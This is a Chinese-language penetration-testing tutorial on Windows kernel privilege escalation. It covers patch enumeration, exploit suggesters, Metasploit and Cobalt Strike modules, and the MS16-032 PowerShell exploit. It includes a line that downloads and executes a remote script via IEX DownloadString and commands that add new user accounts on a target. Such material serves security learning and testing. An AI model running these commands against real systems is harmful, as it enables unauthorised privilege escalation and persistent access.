'内核溢出漏洞提权'

常见提权方式有:

1、系统内核溢出漏洞提权
2、数据库提权
3、错误的系统配置提权
4、组策略首选项提权
5、web中间件漏洞提权
6、DLL劫持提权
7、滥用高权限令牌提权
8、第三方软件/服务提权

查看目标机上安装的补丁:
systeminfo
Wmic qfe get Caption,Description,HotFixID,InstalledOn
查找指定补丁命令:
Wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:“KB4537572”
可以看到我这台机器上没有安装任何补丁

提权漏洞合集
https://github.com/SecWiki/windows-kernel-exploits
https://github.com/SecWiki/linux-kernel-exploits

###利用手动执行命令发现缺失补丁

如果目标机存在MS16-032(KB3139914)漏洞,那么攻击者不但可使用Metasploit进行攻击,还可使用powershell下的脚本进行提权,https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/MyShell/Invoke-MS16-032.ps1
利用方法:
将ps1脚本上传到目标机,指定以下命令创建用户为1,密码为1的账号
. .\Invoke-MS16-032.ps1
Invoke-MS16-032 -Application cmd.exe -Commandline “/c net user 1 1 /add”
还可通过此脚本添加和执行任意程序
Invoke-MS16-032 -Application notepas.exe
远程下载、提权、添加用户
powershell -nop -exec bypass -c “IEX(New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/MyShell/Invoke-MS16-032.ps1’);Invoke-MS16-032 -Application cmd.exe -commandline ‘/c net user 2 test123 /add’”

利用Metasploit发现缺失补丁

use post/windows/gather/enum_patches
set session 1
run

Windows Exploit Suggester

下载链接https://github.com/AonCyberLabs/Windows-Exploit-Suggester.git
利用systeminfo命令获取当前系统补丁安装情况,将补丁信息导入patches.txt
systeminfo > patches.txt
从微软官网更新漏洞数据库,会以Excel格式保存
./windows-exploit-suggester.py --update
安装xlrd模块
pip install xlrd --upgrade
检测系统中是否存在未修复的漏洞
./windows-exploit-suggester.py -d 2020-02-02-msssb.xls -i patches.txt

利用Metasploit快速识别可能被利用的漏洞
use post/multi/recon/local_exploit_suggester
set LHOST 192.168.1.1
set SESSION 12
exploit

powershell中的Sherlock脚本

用于快速查找本地权限提升漏洞的脚本
https://github.com/rasta-mouse/Sherlock
漏洞列表
系统的shell环境中输入命令,调用脚本
Import-Module .\Sherlock.ps1
搜索漏洞列表中未安装补丁的
Find-AllVulns

搜索单个漏洞
powershell Find-MS14058

CS3.6之后新增了elevate功能,可直接使用进行提权
elevate ms14-058 smb
getuid